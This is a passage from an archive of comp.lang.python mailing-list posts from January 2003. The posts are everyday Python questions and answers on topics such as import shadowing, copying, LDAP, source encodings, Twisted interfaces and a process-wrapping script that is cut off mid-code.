[GCC egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
 >>> import sys
 >>> import SOAP
 >>> #SOAP.Config.debug = 1
... SOAP.Config.BuildWithNoType = 1
 >>> SOAP.Config.BuildWithNoNamespacePrefix = 1
 >>> server = SOAP.SOAPProxy ("http://192.168.1.100:8080")
 >>> print server.about()
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "SOAP.py", line 3677, in __call__
     return self.__r_call(*args, **kw)
   File "SOAP.py", line 3697, in __r_call
     self.__hd, self.__ma)
   File "SOAP.py", line 3607, in __call
     p, attrs = parseSOAPRPC(r, attrs = 1)
   File "SOAP.py", line 2827, in parseSOAPRPC
     t = _parseSOAP(xml_str, rules = rules)
   File "SOAP.py", line 2799, in _parseSOAP
     parser = xml.sax.make_parser()
   File "/usr/local/lib/python2.2/site-packages/PIL/__init__.py", line 
93, in make_parser
     # ;-)
xml.sax._exceptions.SAXReaderNotAvailable: No parsers found
 >>>


So my main questions are:
  - Why is the PIL.__init__.make_parser() getting called when the code 
is trying to execute "parser = xml.sax.make_parser()"
  - How can I fix it if I don't have root?

Thanks in advance!

Eric.




From adalke at mindspring.com  Mon Jan 13 15:06:28 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 13 Jan 2003 13:06:28 -0700
Subject: Elegant copy-by-value
In-Reply-To: <GZuI+ks/Kfhc089yn@the-wire.com>
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com> <87k7hbul7w.fsf@gvdnet.dk> <3E20DFE7.FD196BD3@engcorp.com> <87d6n2h5mn.fsf@gvdnet.dk> <x7ptr2rs1a.fsf@guru.mired.org> <GZuI+ks/Kfhc089yn@the-wire.com>
Message-ID: <avv67t$pn9$1@slb3.atl.mindspring.net>

Mel Wilson wrote:
>    It seems to me that TRT for deepcopy is the
> application-dependent feature from Hell.
> 
>    Say you have a dictionary of lists of class instances.
> How does a dictionary deepcopy method distinguish between
> list members that are shared-by-accident and those that are
> shared-on-purpose?

The instances should implement __copy__ and __deepcopy__
methods if they do something other than the ordinary.

http://www.python.org/doc/current/lib/module-copy.html

					Andrew
					dalke at dalkescientific.com




From exarkun at intarweb.us  Thu Jan 23 22:31:16 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Thu, 23 Jan 2003 22:31:16 -0500
Subject: Using Java from Python
In-Reply-To: <1043375647.578.89.camel@refugeeMedia>
References: <1043375647.578.89.camel@refugeeMedia>
Message-ID: <20030124033116.GB14024@meson.dyndns.org>

On Thu, Jan 23, 2003 at 09:34:07PM -0500, Mongryong wrote:
> Is it possible to write a Python 'c' module that executes Java code? Or,
> is there a way to integrate Jython with Python without having to spawn a
> new process?


   Can you be more specific?  What needs do you have that Jython does not
adequately address?

  Jp

-- 
Lowery's Law:
        If it jams -- force it.  If it breaks, it needed replacing anyway.
-- 
 up 39 days, 7:49, 2 users, load average: 0.58, 0.57, 0.54
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030123/0d4c4f75/attachment.sig>

From p-abel at t-online.de  Thu Jan 23 16:16:35 2003
From: p-abel at t-online.de (Peter Abel)
Date: 23 Jan 2003 13:16:35 -0800
Subject: (test?return_true:return_false)
References: <1d4cf4c3.0301230735.489c525f@posting.google.com>
Message-ID: <13a533e8.0301231316.31a8c75@posting.google.com>

backwardthinker at juno.com (Daniel) wrote in message news:<1d4cf4c3.0301230735.489c525f at posting.google.com>...
> Is there a python equivalent to the (test?return_true:return_false)
> function?  It's present in a number of other languages, so I was
> hoping there would be something similar.  If test evaluates to true,
> then the 1st value is returned.  If false... the 2nd value.
> 
> For a dumb example, something to the effect of: print 'Search complete
> (%d match%s found)'%(matches,(matches==1?'':'es'))
> 
> Thanks,
> Daniel

See the "and-or trick in dive into python"
at http://diveintopython.org/apihelper_andor.html
Peter



From tim.one at comcast.net  Fri Jan 24 13:35:41 2003
From: tim.one at comcast.net (Tim Peters)
Date: Fri, 24 Jan 2003 13:35:41 -0500
Subject: killing thread ?
In-Reply-To: <20030124174424.GA15614@meson.dyndns.org>
Message-ID: <BIEJKCLHCIOIHAGOKOLHGEDIEKAA.tim.one@comcast.net>

[Jp Calderone]
> ...
> It is currently not possible to write a secure sandbox in
> Python.  I'm not sure if you can call that a bug; it's certainly
> unfortunate.

Just curious:  does there exist a programming language in which it is
possible do this?  If so, who guarantees it, and via what kind of validation
process?





From alan_salmoni at yahoo.com  Thu Jan 30 09:22:58 2003
From: alan_salmoni at yahoo.com (Alan James Salmoni)
Date: 30 Jan 2003 06:22:58 -0800
Subject: McMillan installer on OS X
Message-ID: <b68f71a7.0301300622.5d13c136@posting.google.com>

Has anyone tried using the McMillan installer on MacIntosh OSX, and if
so, with what degree of success?

Apologies if this has been answered before, but Googling CLP didn't
show anything of relevance.

Alan James Salmoni
SalStat Statistics
http://salstat.sunsite.dk



From francesco at akiraland.net  Wed Jan 29 08:51:37 2003
From: francesco at akiraland.net (francesco nerieri)
Date: Wed, 29 Jan 2003 13:51:37 GMT
Subject: import View
Message-ID: <290120031451363280%francesco@akiraland.net>

cannot find any lib that let me have a "import View", anyone knows wich
module had I to install?

thanks and best regards,
  francesco.



From bk at whack.org  Mon Jan 13 11:42:34 2003
From: bk at whack.org (Brian Kranson)
Date: 13 Jan 2003 08:42:34 -0800
Subject: slow loop?
Message-ID: <1964c4d7.0301130842.2f693958@posting.google.com>

Is there a way I can make this small script any faster?  The file it
reads in used to be only about a 100 lines and now it is well over
2000.  It takes about 14 seconds to run it on my PentiumII.  Thanks in
advance - Bk

import time
startTime=time.time()
myList=[]
finalList=[]
myString=''
file=open('Export.txt','r')
lines=file.readlines()
for line in lines:
        for character in line:
                if character == '"':
                        None
                elif character == ',' or character == '\n':
                        myList.append(myString)
                        myString=''
                else:
                        myString += character
        finalList.append(myList)
        myList=[]
endTime=time.time()
print endTime-startTime


Here are two lines from Export.txt (the first line ends with "NONE" -
google and/or your browser might add some extra end of line
characthers - this sample Export.txt should only have two lines)

"IDNUMBER","VRNUMBER","LASTNAME","FIRSTNAME","MAILNAME","SALUTATION","ADDRESS1","ADDRESS2","ADDRESS3","CITY","STATE","ZIP","COUNTY","CONGRESS","SENATEDIST","HOUSEDIST","RECSTATUS","REGISTER","CARRT","HPHONE","WPHONE","FPHONE","APHONE","EMPLOYER","OCCUPATION","BIRTHDATE","CONSTITUENTTYPE","ORIGIN","AFFILIATION","SEX","PRECINCT","HOMESOUND","UPDATEDATE","FAMILY","CONTEXIST","EXPEXIST","VOTEEXIST","N
TEEXIST","VOLEXIST","VIPEXIST","CASEEXIST","REMIND","BILLEXIST","WFAX_PHONE","CAR_PHONE","E_MAIL","PAGER","MAIL_WHERE","CONTACT","AWARD_TYPE","AWARD_DATE","ELIGIBLE","JOIN_DATE","PAY_GRP","PAY_AMOUNT","WADDRESS1","WADDRESS2","WADDRESS3","WCITY","WSTATE","WZIP","WCARRT","MADDRESS1","MADDRESS2","MADDRESS3","MCITY","MSTATE","MZIP","MCARRT","DADDRESS1","DADDRESS2","DADDRESS3","DCITY","DSTATE","DZIP","
CARRT","HOUSEHOLDMAILNAME","HOUSEHOLDSALUTATION","TOTALCONTRIBUTIONS","LARGESTCONTRIBUTION","AVERAGECONTRIBUTION","LASTCONTRIBUTION","LASTCONTRIBUTIONDATE","YEAR1TOTAL","YEAR2TOTAL","CONTRIBUTIONSYEAR1","CONTRIBUTIONSYEAR2","NONE"
"63","","Last","First","Ms. First L. Last","Sal","220 Street
Blvd.","","","Oregon","OH","43616","Lucas","9","","","1","  /  /   
","","","","","","","","12/30/1899","Individual","","","Female","","HOME","07/13/1999","","Y","","","","","","","","","","","","","H","","","
 /  /    ","","  /  /    ","","0","220 Street
Blvd.","","","Oregon","OH","43616","","220 Street
Blvd.","","","Oregon","OH","43616","","220 Street
Blvd.","","","Oregon","OH","43616-","","Ms. Frist L.
Last","First","25.00","25.00","25.00","25.00","01/06/1999","0.00","0.00","0","0","none"



From rganesan at myrealbox.com  Wed Jan  8 00:15:35 2003
From: rganesan at myrealbox.com (Ganesan R)
Date: 08 Jan 2003 10:45:35 +0530
Subject: LDAP -- is python-ldap still "it"?
References: <avfdnh$3vq$1@baldur.whoi.edu>
Message-ID: <ou65t0p6h4.fsf@andlx-anamika.cisco.com>

>>>>> "Karl" == Karl A Krueger <kkrueger at example.edu> writes:

> I've used the python-ldap package in the past, and I'm wondering if this
> is still the way to go for LDAP manipulation from Python -- if there are
> other LDAP client libraries for Python I haven't found, for one.  (I'm a
> little curious why there isn't LDAP in the standard library, but I
> suppose that's just because there isn't yet.)

I never looked for alternatives, python-ldap is excellent for my needs. I am
using 2.0.0pre6 in production code and love it :-). I managed to get a
couple of python converts in my company by showing them how easy python-ldap
is compared to JLDAP :-).

Ganesan

-- 
Ganesan R



From brian at sweetapp.com  Thu Jan 23 14:29:54 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Thu, 23 Jan 2003 11:29:54 -0800
Subject: Is there really a default source encoding?
In-Reply-To: <yfsn0lr1y82.fsf@black132.ex.ac.uk>
Message-ID: <004401c2c315$ce598ce0$21795418@dell1700>

> > Because making the default encoding UTF-8 would break the majority
of
> > source files that include non-ASCII characters.
> 
> Whereas making it ASCII won't? (Having Latin-1 for a certain period of
> time I can understand, the switch to ASCII *afterwards* not).

I don't understand the goal of your proposal. The goal of the current
plan is to support existing non-ASCII source files but warn the user
that they will need to add an encoding comment in the future. 

UTF-8 is a supported encoding. In fact, if a UTF-8 BOM is present then
the encoding comment is not necessary.

Cheers,
Brian





From mis6 at pitt.edu  Fri Jan 31 14:41:09 2003
From: mis6 at pitt.edu (mis6 at pitt.edu)
Date: Fri, 31 Jan 2003 14:41:09 -0500
Subject: (no subject)
Message-ID: <200301311941.h0VJf9w03290@enterprise.phyast.pitt.edu>

Subject: adding to __builtins__

Consider the following script (I need it under Python 2.2, where True and
False are undefined):

--- begin truefalse.py --

__builtins__.True=1
__builtins__.False=0 

print True,False

--- end truefalse.py --


It works:

$ python truefalse.py
1 0

However, if I import the script I have an AttributeError:

python
Python 2.2 (#1, Apr 12 2002, 15:29:57)
[GCC 2.96 20000731 (Red Hat Linux 7.2 2.96-109)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import truefalse
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "truefalse.py", line 3, in ?
    __builtins__.True=1
AttributeError: 'dict' object has no attribute 'True'

What's happening and is there a workaround ?

TIA,

                                 Michele




From max at alcyone.com  Fri Jan  3 20:53:58 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 03 Jan 2003 17:53:58 -0800
Subject: ping multiple Ips with python
References: <8db020b9.0301031420.25e56f3b@posting.google.com>
Message-ID: <3E163EB6.1CF6A1F8@alcyone.com>

".d.hos" wrote:

> We're trying to monitor various IP responses via a ping command, and
> record errors to a database. we have about 350 IP numbers that need
> this sort of logging, and walking through the IP sequentially seems to
> take quite awhile.
> 
> I was wondering if there was a python module or utility that could
> ping multiple IPs in a multithreaded fashion? or, any ideas how one
> might code this functionality?

You can either do asynchronous I/O with select or threads.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Divorces are made in Heaven.
\__/ Oscar Wilde
    Computer science / http://www.alcyone.com/max/reference/compsci/
 A computer science reference.



From peter at engcorp.com  Sat Jan  4 11:07:11 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 04 Jan 2003 11:07:11 -0500
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <3E1467EE.93860EC4@engcorp.com> <mailman.1041527081.32120.python-list@python.org> <3E15E739.95B69415@engcorp.com> <av6kjm$cioo1$1@ID-71831.news.dfncis.de>
Message-ID: <3E1706AF.4D193D06@engcorp.com>

James Kew wrote:
> 
> I've found Roundup (http://roundup.sourceforge.net) excellent for issue
> tracking on small-team projects: it's simple and flexible enough that it
> doesn't get in the way, usable enough that developers take to it easily,
> powerful enough that it's almost entirely replaced the impossible-to-track
> email ping-pong we were doing before, and it's all Python plus Zope-like
> HTML templaties so it's eminently customisable and hackable.

I just took another look at it (two years after I first read about it, 
before it was released, as I recall) and am impressed by its progress. 
I'd recommend that anyone interested (like Donnal) visit the link above and 
check out the live online demo.

I can't say just how effective this would be for *story* tracking ala
XP, but as I said almost any bug/issue tracker worth its salt would
be adequate for a start.  Certainly Roundup is significantly more 
polished than our own.

-Peter



From exarkun at intarweb.us  Wed Jan 22 12:50:57 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 22 Jan 2003 12:50:57 -0500
Subject: a single class supporting multiple facets/interfaces
In-Reply-To: <3E2E4D66.7040104@icqmail.com>
References: <3E2BEFAC.2060101@icqmail.com> <20030120224714.GA28746@meson.dyndns.org> <3E2E4D66.7040104@icqmail.com>
Message-ID: <20030122175057.GA7130@meson.dyndns.org>

On Wed, Jan 22, 2003 at 12:51:02AM -0700, David Garamond wrote:
> > [snip code]
> 
> thanks. yes, actually "interface" and "component" do pretty much what i 
> envision. the components module from Twisted looks like it might be 
> something cool.
> 
> to correct myself and the previous example, the original requirement is 
> for a single class (component) C to implement two facets (interfaces). 
> let's call the two interfaces IGoodStuff1 and IGoodStuff2.
> 
> class IGoodStuff1(components.Interface):
>     def foo(self): pass
>     def bar1(self): pass
> class IGoodStuff2(components.Interface):
>     def foo(self): pass
>     def bar2(self, arg): pass
> 

  I don't think you can implement both of these interfaces for the same
Component without using Adapters.  As you say below, the problem is the
'foo' name conflict.  The best solution (other than creating two Adapters) I
can think of is to rename one of the foo methods.

  You could probably do a metaclass trick to create the Adapters
automatically from the Interface definitions, but that might be just a
little too much magic for your (or anyone's) own good.

> and since i don't think i want more than one Adapters for a single 
> component-interface link -- in other words: a component never implements 
> a single interface twice, differently -- can i do away without adapters 
> in this case? i.e.: i want to move the "adapter stuff" (like the 
> '__implements__' declaration) directly in C. something like this:
> 
> class C(components.Componentized):
>     __implements__ = (IGoodStuff1, IGoodStuff2)
>     def foo1(self):
>         # will implement IGoodStuff1's foo
>     def foo2(self):
>         # will implement IGoodStuff2's foo
>     def bar1(self):
>         # will implement IGoodStuff1's bar1
>     def bar2(self):
>         # will implement IGoodStuff1's bar2
> 
> the problem is of course the 'foo' name conflict.
> 
> -- 
> dave
> 

  I'm wondering if you want to do this for some kind of versioning scheme,
where objects might be upgraded over time (and so present different
implementations or interfaces)?  If so, another part of Twisted might be
useful, twisted.python.styles.Versioned.


  Jp

-- 
 12:00am up 37 days, 9:48, 2 users, load average: 0.36, 0.32, 0.27
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030122/ffdb2035/attachment.sig>

From claird at lairds.com  Thu Jan 23 08:38:10 2003
From: claird at lairds.com (Cameron Laird)
Date: Thu, 23 Jan 2003 13:38:10 -0000
Subject: Python vs. Matlab
References: <1043278875.1513.39.camel@refugeeMedia> <mailman.1043280641.4294.python-list@python.org>
Message-ID: <v2vs222k9uac75@corp.supernews.com>

In article <mailman.1043280641.4294.python-list at python.org>,
Chad Netzer  <cnetzer at mail.arc.nasa.gov> wrote:
>On Wednesday 22 January 2003 15:41, Mongryong wrote:
>> Python vs Matlab (or any other similar language).
>>
>> Any opinions on this comparison?  Benchmarks? Functionality?
>
>Python is becoming more and more popular in the Scientific community.
>
>> One big up for Python is that it's FREE!
>
>So are Octave, SciLab, R, etc.
>
>Python is nice because of it's flexibilty, and ability to make use of
>existing C and fortran libraries (via f2c), and it's clean, elegant 
>syntax.  But it still has a long uphill battle to compete with all the 
>toolkits available for Matlab.  Depending on the libraries, it can be 
>speed competitive with Matlab, and if the right toolkits are available, 
>I find I get more reuse out of my python code, typically, because I can 
>organize it with classes and packages.
>
>Look at SciPy, ScientificPython, SalStat, for just some of the 
>possibilities.  But one needs to know the problem domain before 
>recommending Python outright.  There are many powerful tools that come 
>with the free Matlab workalikes, that Python may not yet have (or even 
>ever have).
>
>Matlab is expensive because it has very useful and comprehensive 
>Toolboxes, that people are willing to pay for.  But the alternatives 
>are getting better and better.
			.
			.
			.
More chatter on the same subject is starting to appear at <URL: http://
phaseit.net/claird/comp.programming/open_source_science.html >; see
"Open source in the lab", especially.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From lac at strakt.com  Mon Jan 13 11:03:00 2003
From: lac at strakt.com (Laura Creighton)
Date: Mon, 13 Jan 2003 17:03:00 +0100
Subject: python equiv of perl's split? 
In-Reply-To: Message from pete-temp-12-29-2002@kazmier.com 
   of "Mon, 13 Jan 2003 15:45:09 GMT." <m3el7hoxyy.fsf@coco.kazmier.com> 
References: <m3k7h9p1p4.fsf@coco.kazmier.com> <avuka4$fub$1@s1.read.news.oleane.net> <m3el7hoxyy.fsf@coco.kazmier.com> 
Message-ID: <200301131603.h0DG30jL005168@ratthing-b246.strakt.com>

> >>>> import re re.split("(:)", "test:one:two:three")
> > ['test', ':', 'one', ':', 'two', ':', 'three']
> 
> Doh!  I didn't realize there was a split in the 're' module, I was
> using the one from the 'string' module.  

Just FYI:
If your python is recent (2.something) you didn't need to import
the string module, because  there are now string methods. It is there
for backwards compatibility.

Laura Creighton




From jlh at cox.net  Wed Jan 29 23:26:42 2003
From: jlh at cox.net (Jeff Hinrichs)
Date: Thu, 30 Jan 2003 04:26:42 GMT
Subject: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!)
References: <JHEOKEOOLIGLDHCMAHMOEEEGFPAA.marklists@mceahern.com> <mailman.1043866194.10885.python-list@python.org>
Message-ID: <6Q1_9.69393$1b.1020@news1.central.cox.net>

Thanks Laura,
that is a wonderful PEP!

-Jeff
"Laura Creighton" <lac at strakt.com> wrote in message
news:mailman.1043866194.10885.python-list at python.org...
> > This point will be argued by others until the cow turns blue.
Thankfully, I
> > won't be there to see.  ;-)
> >
> > Cheers,
> >
> > // m
>
> Or perhaps it won't be.   read http://www.python.org/peps/pep-0666.html
>
> Laura
>





From tjreedy at udel.edu  Mon Jan  6 12:11:16 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Mon, 6 Jan 2003 12:11:16 -0500
Subject: Instantiating only one object of a Product in Zope 2.5.1
References: <6bd9f01b.0301060807.378056e4@posting.google.com>
Message-ID: <fP2dnQXjV57rJYSjXTWcpg@comcast.com>

"sameer" <sameer_ at email.com> wrote in message
news:6bd9f01b.0301060807.378056e4 at posting.google.com...
> I don't know if this forum is the right one to post for zope issues,
> but here's my question.

Quoting Peter Hansen from another thread:
Try here: http://www.zope.org/Resources/MailingLists

TJR





From peter at engcorp.com  Mon Jan  6 22:05:30 2003
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 06 Jan 2003 22:05:30 -0500
Subject: Laura's List - was Re: new years resolutions
References: <20030106212551.A19866@bob.sesgroup.com.au> <mailman.1041872455.22710.python-list@python.org>
Message-ID: <3E1A43FA.ED37F9F7@engcorp.com>

Laura Creighton wrote:
> 
> > > 18. Too much paperwork.
> >
> > Again, I can't really see it as being that much more than industry.
> 
> Hee hee.  You need a CAPS system.  see www.strakt.com ...

CAPS?  Please expand...

(Yes, a google search would probably do it... but only if I knew
to "workflow" or something like that, which I don't, and even 
then I'd get to capsinc first, unless I looked at the second
link instead...  ;-)

-Peter



From johnroth at ameritech.net  Sun Jan 19 12:30:06 2003
From: johnroth at ameritech.net (John Roth)
Date: Sun, 19 Jan 2003 12:30:06 -0500
Subject: comprehensions was Re: Switch statements again
References: <mailman.1042817433.6322.python-list@python.org> <Pine.GSO.4.44_heb2.09.0301191441590.20859-100000@techunix.technion.ac.il>
Message-ID: <v2lo35atotgqf3@news.supernews.com>

"Beni Cherniavsky" <cben at techunix.technion.ac.il> wrote in message
news:Pine.GSO.4.44_heb2.09.0301191441590.20859-100000 at techunix.technion.
ac.il...
> On 2003-01-17, Tim Peters wrote:
>
>
> > but then I never expected anyone to do
> >
> >   (f() and [g()] or [h()])[0]
> >
> > in real life either <0.5 wink>.
> >
> That should be written ``f() and g() else h()`` <wink>.

Actually not. Tim, as usual, has it right. The way
you wrote it fails if g() evaluates to a false value.
That's been the standard problem with this construct.

The way Tim has it, [g()] cannot evaluate to
a false value. It's always a 1 element list which
by definition is true.

John Roth
>
> lets-add-x,y-for-x-in-possible-syntaxes-for-y-in-possible-uses ly
y'rs,
>     Beni Cherniavsky <cben at tx.technion.ac.il>
>





From grante at visi.com  Tue Jan  7 14:07:17 2003
From: grante at visi.com (Grant Edwards)
Date: 07 Jan 2003 19:07:17 GMT
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com>
Message-ID: <3e1b2565$0$213$a1866201@newsreader.visi.com>

In article <52719db8.0301062130.5299a0ff at posting.google.com>, James Huang wrote:

> Perl and Python programmers are all material witnesses
> of how scripting can greatly improve productivity. That's
> why scripting languages enjoy great success. Scripting
> means that we can issue OS commends from within a
> full-fledged programming language -- a scripting language.

If that's your definiton, all programming languages of which
I'm aware are "scripting languages".  At least under Linux,
issuing "OS commands"  is a standard library function accessible
to all languages.  C and assembly language can both use the
exact same system() or exec calls that Python and Perl do.

-- 
Grant Edwards                   grante             Yow!  Have my two-tone,
                                  at               1958 Nash METRO brought
                               visi.com            around...



From max at alcyone.com  Sun Jan  5 21:16:24 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 05 Jan 2003 18:16:24 -0800
Subject: Truth in dating (was: HELP! Must choose language!)
References: <20030101042101.1615.84075.Mailman@mail.python.org>
	 <mailman.1041399123.31276.python-list@python.org>
	 <v1gdaicshqmr47@corp.supernews.com> <mailman.1041812790.32002.python-list@python.org>
Message-ID: <3E18E6F8.8C5BFEEA@alcyone.com>

Andrew McGregor wrote:

> We (University of Canterbury Physics, at the time) had been using a
> lot of
> Fortran (of course), C and Lisp, with a little Perl and lots of
> shellscripts for glue.  When Java arrived, the general impression was
> that
> it was a cute toy.  That's still basically my impression, it's mostly
> useful for UI work and areas where performance doesn't matter (there's
> lots
> of those, which is why Java is popular).
> 
> I'm just irritated I didn't find Python myself until '01.

Same here (I found Python in early-mid 2000).  I'm an experienced
programmer, but had long wanted a high-level language bridging the gap
between shell scripts and full-blown C or C++ programs.  I had
begrudgingly learned and used Perl to fill that gap, but quite frankly
even while I was using it didn't enjoy it.  (The object orientation in
Perl, ugh.)

I constantly learn new languages, even ones I know I'll never use, to
broaden by knowledge base, and one day picked up _Programming Python_
which I used for light bathroom reading.  Even though I didn't much care
for the book (but as an already experienced programmer it didn't stop
me), it soon became apparent that Python was the language I was looking
for.  My first project was a socket-based bot framework for a
proprietary talker, and my second was a full-blown implementation of a
chess adjudicator.

"That'll do, Python."

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The map is not the territory.
\__/ Alfred Korzybski
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From gingrich at his.com  Sat Jan 25 11:52:47 2003
From: gingrich at his.com (Chester Gingrich)
Date: 25 Jan 2003 08:52:47 -0800
Subject: HELP - os.waitpid() in a thread not working right under linux?
Message-ID: <33b035c.0301250852.110d9a11@posting.google.com>

I am trying to "wrap" a process in a thread so that i can control an
external program.  Specifically, I want to limit the time that an
external program will run - but not limit it to ending sooner...

I found a script that seems to provide this functionality under
windows and supposedly under unix.  However, on my redhat linux
(kernel 2.4.18-19.8.0, python version 2.2.1) system the
os.waitpid(pid,0) call throws an exception indicating that the child
has died - BUT - it hasnt!  I have attached the "newrun.py" script and
a script (sleeper.py) that i use for testing.  If anyone knows
something about this issue, please let me know.

In an old newsgroups posting i have seen that linux python had trouble
running os.waitpid() from within a thread - any ideas whats going on
here?

tia
-Chester Gingrich
gingrich at his.com

************
newrun.py 
************

#!/usr/bin/env python
#-----------------------------------------------------------------------------
# process.py: Simple process management
#
# This module defines the following classes:
#
# Process - Abstract base class for a process.
# Win32Process - a WIN32 process
# PosixProcess - a POSIX (Unix) process
#
# Requires:
# Python 1.5.2 or >;
# Win32 extensions on Windows
# Threads enabled on POSIX
# OS: Win32, Posix (Unix)
#
# History:
# -28 Nov 2000: created by Richard Gruet
#
# TODO
#-----------------------------------------------------------------------------
''' Simple process management.

Allows to launch, kill and see the status of a process independently
of the platform. Use global function createProcess(cmd) to create a
process for executing a command.
'''
__version__ = '1.0.1'
__author__ = 'Richard Gruet', 'rgruet at ina.fr'
__date__ = '2000-11-28'

import os, sys, string, time

true, false = -1, 0

class Error(Exception):
    ''' Exception raised by the process module.
    '''
    pass

#-----------------------------------------------------------------------------
class Process:
#-----------------------------------------------------------------------------
    ''' Abstract base class for a Process.
    Derive specialized classes for each OS.
    '''
    MIN_LIFE_TIME = 1.0 # Minimum lifetime of a process in sec
    
    def __init__(self, cmd, pid):
        ''' Runs the program <cmd> in a new process.
        
        NB: this base class constructor MUST be called
        by derived classes to initialize attributes.
        
        @param cmd The program command line.
        @exception Error if program cannot be launched.
        '''
        self.cmd = cmd
        self.pid = pid
        self.exitCode = None
        self.startedOn = time.time()
    
    def __repr__(self):
        exitCode = self.getExitCode()
        if exitCode is None:
            state = 'alive'
        else:
            state = 'ended, exit code=%d' % exitCode
        return '<%s pid=%d, %s>' % (self.__class__.__name__,self.pid,
state)
    
    def getCmd(self):
        ''' Returns the command string executed by the process.
        '''
        return self.cmd
    
    def getPid(self):
        ''' Returns the PID of the process.
        '''
        return self.pid
    
    def wait(self, timeout=None):
        ''' Waits until process terminates or a timeout occurs.
        
        @param timeout Time out in seconds (None=infinite).
        @return the exit code, or None if timeout.
        '''
        raise NotImplementedError()
    
    def kill(self, hard=true):
        ''' Kills the process.
        
        Silent if the process is already terminated.
        The process will have an exit code = -1
        @param hard [Unix] if true use signal SIGKILL,
        otherwise SIGTERM.
        '''
        raise NotImplementedError()
    
    def getExitCode(self):
        ''' Returns the exit code of the process, or None if still
        alive.
        
        On Posix the process must be a child process of the
        caller; in some
        circumstances (kill) the exit status cannot be
        determined and will
        arbitrarily be returned as -1.
        
        The returned exit code is also assigned to
        self.exitCode.
        '''
        raise NotImplementedError()
    
    def isAlive(self):
        ''' Returns true if process is alive.
        '''
        return self.getExitCode() is None
    
    
    # Private:
    
    def _ensureMinLifeTime(self, minTime=None):
        ''' Sleeps until the process has lived at least <minTime> sec.
        
        This is used to avoid killing the process too fast
        (this leads
        to strange result codes).
        '''
        if minTime is None:
            minTime = self.MIN_LIFE_TIME
            delta = time.time() - (self.startedOn + minTime)
        if delta < 0:
            time.sleep(-delta)
        
    
    
if sys.platform == 'win32':
    try:
        from win32process import CreateProcess,
TerminateProcess,GetExitCodeProcess, STARTUPINFO
        import win32event
    except ImportError, e:
        raise Error("Can't import win32process, have you installed the
"
                    "Python win32 extensions ?")
    
    #-----------------------------------------------------------------------------
    class Win32Process(Process):
    #-----------------------------------------------------------------------------
        ''' A Win32 process.
        '''
    
        def __init__(self, cmd):
            ''' See class Process.
            '''
            hp, ht, pid, tid = CreateProcess(None, cmd, None,None, 1,
0,None, None, STARTUPINFO())
            self.handle = hp # [PyHANDLE] Win32 process handle
            Process.__init__(self, cmd, pid)
    
        def wait(self, timeout=None):
            ''' See class Process.
            '''
            if timeout is not None:
                timeout = int(timeout * 1000) # in ms
            else:
                timeout = win32event.INFINITE
            win32event.WaitForSingleObject(self.handle, timeout)
            return self.getExitCode()
        
    
        def kill(self, hard=true):
            ''' See class Process.
            '''
            if self.isAlive():
                print "killed a process under windows"
                self._ensureMinLifeTime()
                TerminateProcess(self.handle, -1)
                self.getExitCode() # refresh attributes
    
        def getExitCode(self):
            ''' See class Process.
            '''
            exitCode = GetExitCodeProcess(self.handle)
            if exitCode <> 259: # (259 means alive, keep
exitCode==None)
                self.exitCode = exitCode
            
            return self.exitCode

else: # not on Win32
    class Win32Process: pass


if os.name == 'posix':
    import threading

    #-----------------------------------------------------------------------------
    class PosixProcess(Process):
    #-----------------------------------------------------------------------------
        ''' A POSIX (Unix) process.
        '''

        def __init__(self, cmd):
            ''' See class Process.
            '''
            l = string.split(cmd)
            progName, args = l[0], l[1:]

            pid = os.fork()
            print "process pid is : " + str(pid)
            if not pid: # in new process
                print "progName=" +str(progName)
                print "args=" + str(args)
                os.execvp(progName, args)
            else:
                Process.__init__(self, cmd, pid)
    
                # To be able to catch the exit status we must 'wait'
the end
                # of the child process in a separate thread:
                self.waitThread =
threading.Thread(target=self._threadMain)
                self.waitThread.start()
                
        def wait(self, timeout=None):
            ''' See class Process.
            '''
            if self.isAlive():
                print "in process wait(): process is alive"
            else:
                print "in process wait(): process is dead!"
            
            self.waitThread.join(timeout)
            
            btest = self.isAlive()
            
            if btest:
                print "in process wait()- after waitThread: process is
alive"
            else:
                print "in process wait()- after waitThread: process is
dead!"
            return self.exitCode


        def kill(self, hard=true):
            ''' See class Process.
            '''
            if self.isAlive():
                print "killed a process under unix"
                import signal
                if hard:
                    sig = 9 # SIGKILL
                else:
                    sig = signal.SIGTERM
                self._ensureMinLifeTime()
                os.kill(self.pid, sig)
                self.waitThread.join()
                    
        def getExitCode(self):
            ''' See class Process.
            '''
            return self.exitCode

        def _threadMain(self):
            ''' Waits thread main proc.
            Just waits for the end of the child process,
            stores the exit status and exits.
            '''
            try:
                pid, self.exitCode = os.waitpid(self.pid, os.WNOHANG)
            except OSError, e:
